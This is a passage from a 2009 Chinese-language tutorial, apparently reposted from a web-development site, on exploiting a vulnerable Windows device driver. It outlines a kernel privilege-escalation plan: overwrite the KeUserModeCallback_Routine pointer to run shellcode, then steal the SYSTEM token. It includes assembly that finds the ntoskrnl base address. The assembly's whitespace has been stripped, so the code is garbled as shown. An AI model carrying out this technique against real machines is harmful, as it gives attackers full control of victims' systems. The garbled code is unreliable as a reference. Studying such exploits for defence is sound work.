详解如何利用Windows设备驱动
2009-02-12 13:55:33 来源:WEB开发网注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西。
攻击计划
这里是几个我们攻击这个漏洞的关键点:
1) 定位ntoskrnl.exe 基址——这个地址会在Windows 运行时改变。
2) 加载ntoskrnl.exe 模块到用户层空间,获得KeUserModeCallback_Routine 地址,最后加上ntoskrnl 基址,求的当前地址。
3) 发送一个信号,并且从KeUserModeCallback_Routine 地址处获取512bytes(由于漏洞的性质,我们有这样的可能,当我们会改变KeUserModeCallback_Routine 的4 字节时这样能够增强我们利用程序的稳定性)。
4) 发送一个包含特殊构造数据的信号(正如我们之前提到过,覆盖KeUserModeCallBackRoutine 的值,并且使它指向我们的内存(shellcode))。
5) 开发特殊内核模式下的Shellcode(当然,shellcode 在第四步之前或者第四步的时候就需要做好了,现在是执行他。)
5-a) 重设KeUserModeCallback_Routine 指针
5-b) 给你的进程SYSTEM 进程token。
5-c) 执行正确的KeUserModeCallback_Routine。
关键点1:定位ntoskrnl.exe 基址
Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变,因此我们不能硬编码它的基址,这样是没什么作用的。简单地说,我们需要从哪里获得这个地址呢。我们可以使用SystemModuleInformation 类的native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程:
NTSTATUSWINAPINtQuerySystemInformation(
__inSYSTEM_INFORMATION_CLASSSystemInformationClass,
__inoutPVOIDSystemInformation,
__inULONGSystemInformationLength,
__out_optPULONGReturnLength
);
;------------------------------------------------------------
;Getsntoskrnl.exemodulebase(real)
;------------------------------------------------------------
get_ntos_baseproc
local__MODULES:_MODULES
pushad
@get_api_addr"ntdll","NtQuerySystemInformation"
@check0,"Error:cannotgrabNtQuerySystemInformationaddress"
movebx,eax;ebx=eax=NTQSIaddr
calla1;setuparguments
nsdd0
a1:push4
leaecx,[__MODULES]
pushecx
pushSystemModuleInformation
calleax;executethenative
cmpeax,0c0000004h;lengthmismatch?
jneerror_ntos
pushdwordptr[ns];neededsize
pushGMEM_FIXEDorGMEM_ZEROINIT;typeofallocation
@callxGlobalAlloc;allocatethebuffer
movebp,eax
push0;setuparguments
pushdwordptr[ns]
pushebp
pushSystemModuleInformation
callebx;gettheinformation
testeax,eax;stillnosuccess?
jnzerror_ntos
;firstmoduleis
always
;ntoskrnl.exe
moveax,dwordptr[ebp.smi_Base];getntoskrnlbase
movdwordptr[real_ntos_base],eax;storeit
pushebp;freethebuffer
@callxGlobalFree
popad
ret
error_ntos:xoreax,eax
@check0,"Error:cannotexecuteNtQuerySystemInformation"
get_ntos_baseendp
_MODULESstruct
dwNModulesdd0
;_SYSTEM_MODULE_INFORMATION:
smi_Reserveddd2dup(0)
smi_Basedd0
smi_Sizedd0
smi_Flagsdd0
smi_Indexdw0
smi_Unknowndw0
smi_LoadCountdw0
smi_ModuleNamedw0
smi_ImageNamedb256dup(0)
;_SYSTEM_MODULE_INFORMATION_SIZE=$-offset
_SYSTEM_MODULE_INFORMATION
ends
更多精彩
赞助商链接